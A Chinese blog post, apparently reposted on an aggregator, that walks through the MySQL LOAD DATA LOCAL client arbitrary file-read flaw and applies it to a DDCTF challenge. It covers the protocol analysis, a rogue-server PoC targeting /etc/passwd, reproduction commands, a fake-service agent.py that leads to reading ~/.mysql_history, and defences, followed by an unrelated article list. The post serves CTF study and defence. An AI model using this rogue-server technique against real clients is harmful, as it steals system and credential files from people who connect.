读取txt原理_Mysql客户端任意文件读取学习

前言

最近打了 DDCTF和 国赛,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取这个漏洞,下面来详细的学习一个这个漏洞。

漏洞形成原因

此漏洞形成的主要原因在于 LOAD DATA INFILE这个语法上。在官方文档中的介绍为:

该LOAD DATA语句以非常高的速度将文本文件中的行读入表中。 LOAD DATA是补充 SELECT ... INTO OUTFILE。请参见[第13.2.10.1节“SELECT ... INTO语法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的数据写入文件,请使用 SELECT ... INTO OUTFILE。要将文件读回表中,请使用 LOAD DATA。两个语句的FIELDS和LINES子句的语法 相同。

以下为 LOAD DATA INFILE的两种用法:

  • 从本地服务器导入数据到规定的表里

首先我在本地的 /var/lib/mysqld/1.txt中添加内容 Youhave a girlfriend,执行命令 load data infile"/var/lib/mysql-files/1.txt"intotable users(name),成功添加数据.

c274027359dbcbb41defc2c2e8cddb04.png

  • 从客户端导入数据到服务器上规定的表中

客户端:Ubuntu18.04 IP

服务端:Centos7

在客户端执行命令: mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";,在服务端查看是否添加成果数据

ea3aae33d29e2a6657196c3e6e2809e3.png

数据成功回显。而造成漏洞的也是第二点操作,通过客户端与服务端的连接来读取任意文件。

从数据包传递层面分析客户端与服务端的文件传输

分析环境:Ubuntu18.04

mysql 5.7

本地Mysql输入命令: mysql-u root-p-h127.0.0.1

同时tcpdump抓取数据包: tcpdump-i lo-l port3306-w los.pcap

下面是抓到的数据包:

31b46bf60a570662bfec6c85cf2be4d8.png

我们来分析一下客户端与服务端的 load datalocal过程

1.服务器向客户端发送 Greeting包,包含服务器banner信息(协议线程ID,版本,mysql认证类型等)

12f6d3ae36d255ce2e7bf2676ad7b540.png

2.客户端向服务端发送 LoginRequests数据包,包含客户端的banner信息,以及 LoadDataLocal选项和用户名以及md5加密过的密码

f4258ba30d8410d37e21ffb08c78c91e.png

3.Mysql客户端发送请求,探测目标平台的指纹信息,以及进行初始化查询(大多数Mysql客户端在握手后都至少会发送一次请求)这个请求是一个很关键的步骤,在下面我们还会继续解释的。

4.客户端发起Request Query

9f74fdb7c5b8c61e61a52237c181c8cf.png

5.服务端响应对应客户端请求文件名的数据包

371cdf2a84159ef7409575426885d620.png

6.客户端将所请求文件内容发给服务端

2d7c8727d871a2ff92e413d5db0ff442.png

漏洞利用

产生的漏洞为:在客户端发送至少一次查询后,服务端返回Response TABULAR数据包,告诉客户端我们想要读取文件的文件名(实现任意文件读取),由于客户端对于服务端的完全信任,我们就读取到了我们想要的文件。

原理:在Mysql协议中,客户端是不会储存自身请求的,而是通过服务端的响应来执行操作。

利用:我们可以自己去构造一个恶意的Mysql的服务器来实现读取客户端中我们想要的文件,构造服务器最重要的的部分是:在任意时候都能回复一个file-transfer请求,而不是只在客户端发送LOAD

DATA LOCAL数据包时才去响应回复file-transfer请求。所以,只需要客户端在连接服务端后发送一个查询请求,服务端立刻回复一个 file-transfer,即可读取到客户端的本地文件,而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的指纹信息(如 select@@version_commentlimit1),这样就达到了我们想要的要求。

所以恶意服务器与客户端交互的流程如下:

0e2e01ebb4be74340415c2d7c7f5644d.png

构造File-Transfer数据包

在官方文档中是有构造示范的

8013c6fa473510bee46b78020a8d886e.png

我们可以通过官方文档来具体了解一下这个数据包的结构到底是怎么样的

3ce442ad03316229d8c56180b91f1c79.png

通过这张图, 0c代表着数据包的长度, 000001代表着数据包的序列号,从 fb开始,后面的内容为返回到客户端的文件名。

Poc

https://github.com/allyshka/Rogue-MySql-Server

file=('

/etc/passwd',

)

通过更改file括号中的值可以读取我们想要读到的文件。

漏洞复现

实验环境:

攻击机:Centos7 Mysql5.7

靶机:Ubuntu18.04 Mysql5.7

1.首先先将本机的mysql服务关闭: service mysqld stop

2.在服务器上运行恶意服务器脚本: python rogue_mysql_ server.py

3.靶机远程连接攻击机数据库: mysql-hYour_vps-u root-p-P3306;

4.成功得到靶机中 /etc/passwd的敏感数据

844c1d623f965d5b0aafff4d2a76fe13.png

CTF中的应用

这次的DDCTF以及国赛中都出现了Mysql客户端任意文件读取的这个漏洞.

下面对利用这个漏洞解答一下DDCTF

首先进入页面发现

e89d1f94649054facbee296e0d96f0db.png

扫描器正好符合我们的漏洞原理,在扫描的过程中用弱口令进行 3306端口的爆破登陆,所以我们可以利用构造恶意服务器来读取扫描器中的文件。

先在服务器上布置 agent.py进行扫描,发现回显,未扫描出弱口令,如果不布置 agent.py,回显,不存在 mysql服务 ,修改一下 agent.py源码,让其以为我们一直开着 mysql

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# @Time : 12/1/2019 2:58 PM

# @Author : fz

# @Site :

# @File : agent.py

# @Software: PyCharm

import json

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

from optparse import OptionParser

from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

request_path = self.path

print("\n----- Request Start ----->\n")

print("request_path :", request_path)

print("UA :", self.headers.getheaders('user-agent'))

print("self.headers :", self.headers)

print(")

self.send_response(404)

self.send_header("Set-Cookie", "foo=flag")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def do_POST(self):

request_path = self.path

# print("\n----- Request Start ----->\n")

print("request_path : %s", request_path)

request_headers = self.headers

content_length = request_headers.getheaders('content-length')

length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)

print("content : %s" % self.rfile.read(length))

# print("

self.send_response(404)

self.send_header("Set-Cookie", "foo=bar")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def _func(self):

netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)

netstat.wait()

ps_list = netstat.stdout.readlines()

result = []

for item in ps_list[2:]:

tmp = item.split()

Local_Address = tmp[3]

Process_name = tmp[6]

tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}

result.append(tmp_dic)

return result

do_PUT = do_POST

do_DELETE = do_GET

def main():

port = 8123

print('Listening on localhost:%s' % port)

server = HTTPServer(('0.0.0.0', port), RequestHandler)

server.serve_forever()

if __name__ == "__main__":

parser = OptionParser()

parser.usage = (

"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"

"Run:\n\n")

(options, args) = parser.parse_args()

main()

在服务器上运行这个脚本,再开启我们的 mysql伪造恶意服务器,读取一下 ~/.mysql_history

得到 Flag回显

c5945e5e56e05d62397e1cb69a5fd2ca.png

防御手段

  • 避免使用 local读取本地文件

  • 使用 --ssl-mode=VERIFY_IDENTITY来建立可信的连接。

ecd359df0c8a654c666cc7ca45586bb1.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/501685.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

jar包 jdk 停_一文读懂jar包的小秘密

简介java程序员每天不是在创建jar包就是在创建jar包的路上,并且各种依赖引用都是以jar包的形式展示的。但是随着现代IDE的出现,我想很多程序员已经基本上很少直接和jar包打交道了。换句话说,他们已经不认识jar包了。那么jar包到底是什么呢&am…

逻辑代数01律的理解_零基础学习计算机原理:布尔逻辑和逻辑门

Hello World!我是老乔,欢迎来到超智星球。在这里,每篇都学一个小知识。微号:超智星球 网站:http://chaozhixingqiu.com这期呢,还是计算机原理系列,上期最后讲到了自动制表机和IBM。本期接着讲计算机历史。#…

文本标点英文对齐_电脑健盘中的所有英文组合意思超值解释建议收藏

电脑键盘上所有英文键的意思1、Esc :取消和退出键2、Tab :表格键切换键3、Caps Lock :字母大小写切换键4、Shift :转换键5、Ctrl: 控制键,需要配合其他键或鼠标使用, 例如复制CtrIC6、Alt: 可选(切换)键,-般与其它键组合使用, 例如…

众辰变频器参数设定_变频器被加密了怎么办?这20个品牌都可以解密

1、西门子6SE70书本型变频器:设定密码打不开时,将P358和P359中数据改为相同即可。2、ABBACS600变频器:在16.03参数中输入密码“23032”,102.01参数设置为false,可以进入设定所有主控板参数。3、三菱740系列变频器&…

怎么实现注解_通透!一口气搞懂注解到底怎么用

日志脱敏场景简介在日志里我们的日志一般打印的是 model 的 Json string,比如有以下 model 类public class Request { /** * 用户姓名 */ private String name; /** * 身份证 */ private String idcard; /** * 手机号 *…

嵌套饼图_你真的了解matplotlib吗?---环形图

环形图简介环形图是饼图衍生出来的统计图形,可以看作是两个以上饼图的叠合。环形图与饼图类似,其实是有差别的。饼图是用圆形及圆内扇形的面积来表示数值大小的图形,主要用于表示总体中各组成部分所占的比例。与之对比,环形图中间…

JAVA入门级教学之(零基础了解计算机)

JAVA小白入门级教学(零基础了解计算机基础知识) 多动手自己操作,一点一点积累 首先我们了解一下计算机的基础知识 1.计算机构成(基础): 硬件:CPU、内存、硬盘、鼠标、显示器、鼠标等&#x…

JAVA入门级教学之(JAVA程序的加载和运行)

JAVA程序的加载和运行 多思考多动脑(边参考文章最后的示意图,边按步骤理解) 1.JAVA程序的加载和运行包括两个非常重要的阶段: 编译阶段运行阶段 2.我们先来了解一下什么是编译阶段: 首先,我们自己动手敲…

abstract类中可以有private的成员_C++|static成员与单例模式

如果需要一个全局对象,如对话框、系统日志、显卡等设备的驱动程序对象、一台PC连接一个键盘等。这样的全局对象只能是一个且是全局的,这就是单例模式,如何实现呢?1 不能在类外部通过构造函数新建对象:构造函数的访问方…

JAVA入门级教学之(JDK安装-JDK、JRE、JVM)

1.下面我们开支安装JDK【JDK开源、免费】 安装地址:https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 选择 Windows x64-->jdk-8u221-window-x64.exe 下载 下载完成后 双击JDK安装包-->进入安装界面(…

vim显示python嵌套级_在Vim中为Python突出显示语法

Vim中针对Python的语法突出显示(目标是Ubuntu 12.10)这是有关如何在Ubuntu 12.10的Python中设置语法突出显示的演练。 你所看到的就是你得到的:[https://github.com/sentientmachine/Pretty-Vim-Python/]一旦掌握了如何为特定用户将配色方案和语法突出显示注入到vi编…

JAVA入门级教学之(编写第一个HelloWorld程序)

目录 1.创建一个HelloWorld.java文件 2.用记事本打开HelloWorld.java 3.接下来我们要完成xxx.java-->xxx.class的步骤 怎么解决javac不可用的问题: 4.配置环境变量path 怎么配环境变量Path? 5.接下来就是在DOS命令窗口下进行编译【javac java源…

springboot api文档_SpringCloud/SpringBoot - 自动生成API文档

SpringCloud/SpringBoot 的项目一定要前后分离,这就需要一个API文档生成的工具,后端一定要和前端或者是移动端对接接口,那么问题来了,接口是不是要自己写给他们看,一般的会采用Excel或者Word来写,高级一点的…

语法手册_程序员必备——SQL语法速成手册

一、基本概念数据库术语数据库(database) - 保存有组织的数据的容器(通常是一个文件或一组文件)。数据表(table) - 某种特定类型数据的结构化清单。模式(schema) - 关于数据库和表的布局及特性的信息。模式定义了数据在表中如何存储,包含存储什么样的数据&#xff0…

devtools的ctrl加r_Chrome DevTools调试技巧

【1】DevTools触发伪类右键单击Elements面板中的元素节点并选择“ force state ”。或者在Sytle子窗格中单击“:hov ”图标。可以触发元素上的伪类来研究元素在悬停时的效果和样式​【2】DevTools-在任何网页上运行预定义的代码片段DevTools中有一个叫做代码段的特性…

JAVA入门级教学之(public class和class的区别)

目录 JAVA入门级教学之(public class和class的区别) 1.public class 和 class 的区别: 2.public class 类名A{ }的 类名A需要和源文件 类名 保持一致 总的来说: JAVA入门级教学之(public class和class的区别&…

c 程序中的注释相当于空白字符_Python专题 | (三)注释、变量与输出

小伙伴们,大家好呀,欢迎回到我们的python专题。前两篇文章已经把编程简单的知识和大家介绍过了,今天我们正式开始学习python语法。第一个python程序我们在第一篇文章中介绍pycharm的安装时曾给大家展示过这样的一段代码:print(&qu…

mysql添加timestamp有什么用_mysql中timestamp的使用

mysql中timestamp的使用mysql> CREATE TABLE t1 (-> id mediumint(9) NOT NULL auto_increment,-> name char(11) default NULL,-> rq timestamp default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,-> PRIMARY KEY (id)-> ) ;Query OK, 0 rows…

JAVAWEB企业级开发关于Tomcat的安装和配置

首先,我们来了解一下什么是JSP:动态网页 静态:规定不会变化 动态:随着时间、地点、用户操作改变而改变 1.动态网页: 需要使用到 服务器端脚本语言(JSP) 2.使用的架构: CS:Client Server 不足…

mysql api 连接池_SpringBoot-整合HikariCP连接池

HikariCP连接池概述池化思想 池化思想是我们项目开发过程中的一种非常重要的思想,如整数池,字符串池,对象池、连接池、线程池等都是池化思想的一种应用,都是 通过复用对象,以减少因创建和释放对象所带来的资源消耗&…